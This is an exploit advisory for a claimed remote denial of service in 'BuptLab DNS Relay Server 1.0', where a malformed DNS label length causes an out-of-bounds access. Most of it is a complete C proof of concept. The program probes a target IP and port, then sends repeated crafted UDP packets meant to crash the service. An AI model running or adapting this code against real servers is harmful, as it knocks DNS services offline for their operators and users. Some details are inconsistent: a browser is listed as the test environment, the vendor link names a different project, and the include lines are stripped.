============================================================================================================================================= | # Title : BuptLab DNS Relay Server 1.0 Remote Denial of Service via Malformed DNS Label Length | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://github.com/TanishqNanavati/LiteDNS | ============================================================================================================================================= [+] Summary : A remote denial-of-service vulnerability exists in BuptLab DNS Relay Server version 1.0 due to improper validation of DNS label length during query parsing. An attacker can send a specially crafted DNS request containing an invalid label length field that exceeds the actual payload size. When the server attempts to process this malformed DNS query, it performs an out-of-bounds memory access, which can corrupt internal memory structures or trigger a segmentation fault. Successful exploitation results in the DNS relay service crashing, causing a remote denial of service condition. The attack requires no authentication and can be performed by sending malicious UDP packets to the DNS service port (typically port 53). The provided proof-of-concept demonstrates how a malformed DNS query with an oversized label length value can repeatedly trigger the vulnerability, leading to service disruption. [+] POC : #include #include #include #include #include #include #include #include unsigned char dns_payload[] = { 0x12, 0x34, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0x41, 0x00, 0x00, 0x01, 0x00, 0x01 }; typedef struct { char ip[16]; int port; } target_t; void print_banner() { printf("\n"); printf("====================================================\n"); printf(" BuptLab DNS Relay Server - Remote DoS PoC\n"); printf(" indoushka Security Research\n"); printf("====================================================\n\n"); } void generate_malformed_packet(unsigned char *packet, size_t *packet_size) { memcpy(packet, dns_payload, sizeof(dns_payload)); packet[0] = rand() % 256; packet[1] = rand() % 256; *packet_size = sizeof(dns_payload); } int send_single_packet(int sock, struct sockaddr_in *server_addr, unsigned char *packet, size_t packet_size) { ssize_t sent = sendto(sock, packet, packet_size, 0, (const struct sockaddr *)server_addr, sizeof(*server_addr)); if (sent < 0) return -1; return 0; } int perform_dos_attack(target_t *target, int packets_count, int delay_ms) { int sock; struct sockaddr_in server_addr; unsigned char packet[256]; size_t packet_size; int success_count = 0; sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return -1; } memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(target->port); if (inet_pton(AF_INET, target->ip, &server_addr.sin_addr) <= 0) { perror("inet_pton"); close(sock); return -1; } printf("[+] attacking %s:%d\n", target->ip, target->port); printf("[+] packets: %d\n", packets_count); for (int i = 0; i < packets_count; i++) { generate_malformed_packet(packet, &packet_size); if (send_single_packet(sock, &server_addr, packet, packet_size) == 0) { success_count++; printf("[+] sent %d/%d\r", i + 1, packets_count); fflush(stdout); } else { printf("\n[!] send failed %d\n", i + 1); } if (delay_ms > 0 && i < packets_count - 1) usleep(delay_ms * 1000); } printf("\n[+] sent %d packets\n", success_count); close(sock); return success_count; } int test_target_connection(char *ip, int port) { int sock; struct sockaddr_in server_addr; unsigned char test_packet[] = { 0x12,0x34, 0x01,0x00, 0x00,0x01, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00, 0x00,0x01, 0x00,0x01 }; sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) return -1; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) { close(sock); return -1; } struct timeval tv; tv.tv_sec = 2; tv.tv_usec = 0; setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); sendto(sock, test_packet, sizeof(test_packet), 0, (struct sockaddr *)&server_addr, sizeof(server_addr)); unsigned char buffer[512]; socklen_t addr_len = sizeof(server_addr); int received = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&server_addr, &addr_len); close(sock); if (received > 0) return 1; return 0; } void print_usage(char *program_name) { printf("\nusage:\n"); printf("%s [packets] [delay_ms]\n\n", program_name); } int main(int argc, char *argv[]) { target_t target; int packets_count = 100; int delay_ms = 0; print_banner(); srand(time(NULL)); if (argc < 3) { print_usage(argv[0]); exit(EXIT_FAILURE); } strncpy(target.ip, argv[1], sizeof(target.ip) - 1); target.ip[sizeof(target.ip) - 1] = '\0'; target.port = atoi(argv[2]); if (argc >= 4) packets_count = atoi(argv[3]); if (argc >= 5) delay_ms = atoi(argv[4]); printf("[+] target %s:%d\n", target.ip, target.port); printf("[*] checking target...\n"); int status = test_target_connection(target.ip, target.port); if (status == 1) printf("[+] target responding\n"); else printf("[!] target not responding\n"); printf("[*] starting attack...\n"); perform_dos_attack(&target, packets_count, delay_ms); return 0; } Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================